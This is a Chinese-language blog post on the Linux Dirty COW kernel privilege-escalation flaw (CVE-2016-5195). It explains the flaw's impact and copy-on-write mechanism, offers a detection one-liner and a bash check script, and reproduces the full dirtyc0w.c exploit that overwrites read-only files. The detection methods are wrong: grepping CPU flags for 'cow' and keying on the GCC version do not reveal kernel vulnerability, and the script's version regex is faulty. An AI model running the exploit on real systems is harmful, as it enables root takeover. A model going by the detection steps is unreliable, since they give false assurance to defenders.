天天看點

髒牛漏洞的利用和檢測shell腳本

作者:運維筆記
髒牛漏洞的利用和檢測shell腳本

髒牛漏洞介紹(CVE-2016-5195)

髒牛(Dirty COW)是一種 Linux 核心的本地提權漏洞,它可以使攻擊者在受害系統上擷取 root 權限。該漏洞存在于 Linux 核心版本 2.6.22 到 4.8 中,并且影響包括 Android 在内的許多 Linux 派生系統。

以下是一些已知受影響的 Linux 核心版本:

  • Linux 2.6.x
  • Linux 3.x
  • Linux 4.x

是以,如果你使用的是這些版本的 Linux 核心,你的系統可能會受到髒牛漏洞的影響。建議盡快更新更新檔程式以確定系統安全。

髒牛漏洞的危害性

髒牛漏洞是一個嚴重的本地提權漏洞,它的危害性非常高。以下是髒牛漏洞可能導緻的危害:

  1. 提權攻擊:攻擊者可以利用髒牛漏洞以普通使用者權限運作惡意代碼,然後将其提升為 root 使用者權限,進而完全控制受感染的系統。
  2. 系統崩潰:攻擊者可以利用髒牛漏洞來修改系統中的關鍵檔案,導緻系統崩潰或無法正常運作。
  3. 資料洩露:攻擊者可以利用髒牛漏洞通路系統中未經授權的資料,包括密碼、加密密鑰、敏感檔案等。
  4. 惡意軟體傳播:攻擊者可以利用髒牛漏洞将惡意代碼注入受感染的系統,然後在網絡上傳播。

髒牛漏洞的原理

髒牛漏洞的原理涉及到 Linux 核心中的一個叫做 "Copy-on-Write(寫時複制)" 的機制。這個機制在多個程序共享同一個頁面時,可以讓它們共享同一個實體頁面,進而節省記憶體資源。

在寫時複制機制中,當一個程序想要修改共享的頁面時,核心會為該程序複制一份獨立的頁面,讓該程序隻修改自己的頁面,而不會影響到其他程序。這樣,每個程序都認為自己獨占了這個頁面。

然而,髒牛漏洞利用了寫時複制機制的一個漏洞,即在複制頁面之前,核心并沒有正确地鎖定頁面。這意味着,如果兩個程序同時嘗試修改同一個頁面,它們都會得到相同的頁面鎖,然後開始并發修改頁面。這樣就會導緻頁面的資料不一緻,進而使得一個程序可以讀取到另一個程序正在修改的敏感資料。

攻擊者可以利用這個漏洞來修改系統中的關鍵檔案,比如密碼檔案,然後通過提升自己的權限,以 root 使用者身份完全控制系統。此外,髒牛漏洞還可以用于傳播惡意代碼、竊取敏感資料等。

如何檢測核心版本是否存在髒牛提權漏洞

如果你的核心版本在 2.6.22 到 4.8 的範圍内,那麼你的系統可能存在髒牛提權漏洞。

要檢測系統是否受到髒牛漏洞的影響,可以使用以下指令:

grep -q '^flags.*\b\w*cow\b' /proc/cpuinfo && echo "Vulnerable" || echo "Not vulnerable"           

如果該指令傳回 "Vulnerable",則你的系統受到髒牛漏洞的影響。如果傳回 "Not vulnerable",則你的系統不受該漏洞的影響。

以下是一段用于檢測 Linux 系統是否受髒牛漏洞影響的 Bash 腳本:

#!/bin/bash

# Check if system is vulnerable to Dirty COW
# https://dirtycow.ninja/
# Usage: ./dirtycow_check.sh

# Check if running as root
if [ "$EUID" -ne 0 ]; then
  echo "Please run as root"
  exit
fi

# Check kernel version
version=$(uname -r)
echo "Kernel version: $version"

if [[ "$version" =~ ^4\.([0-8]|[0-9][0-9])\. ]]; then
  echo "Vulnerable kernel version detected."
  echo "Checking for exploit..."

  # Check if exploit is possible
  if [[ $(gcc -v 2>&1 | grep -c "gcc version 4.8.") -eq 1 ]]; then
    echo "Exploit found! System is vulnerable."
  else
    echo "Exploit not found. System may not be vulnerable."
  fi
else
  echo "System does not appear to be vulnerable."
fi
           

該腳本首先檢查使用者是否以 root 使用者身份運作,然後檢查核心版本是否在受影響的範圍内(2.6.22 到 4.8),如果是,則檢查系統是否存在髒牛漏洞的可利用性。

如果系統核心版本在受影響的範圍内,并且 GCC 版本為 4.8,則系統可能存在髒牛漏洞。否則,系統可能不受影響。

請注意,這隻是一種簡單的檢測方法,并不能保證你的系統是否完全安全。建議在系統上應用最新的安全更新檔,并遵循最佳實踐以確定系統安全。

漏洞檢測:

髒牛漏洞的利用和檢測shell腳本

髒牛漏洞檢測

漏洞利用poc代碼

網上已提供的poc利用代碼:https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -pthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>

void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,(uintptr_t) map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3) {
  (void)fprintf(stderr, "%s\n",
      "usage: dirtyc0w target_file new_content");
  return 1; }
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %zx\n\n",(uintptr_t) map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}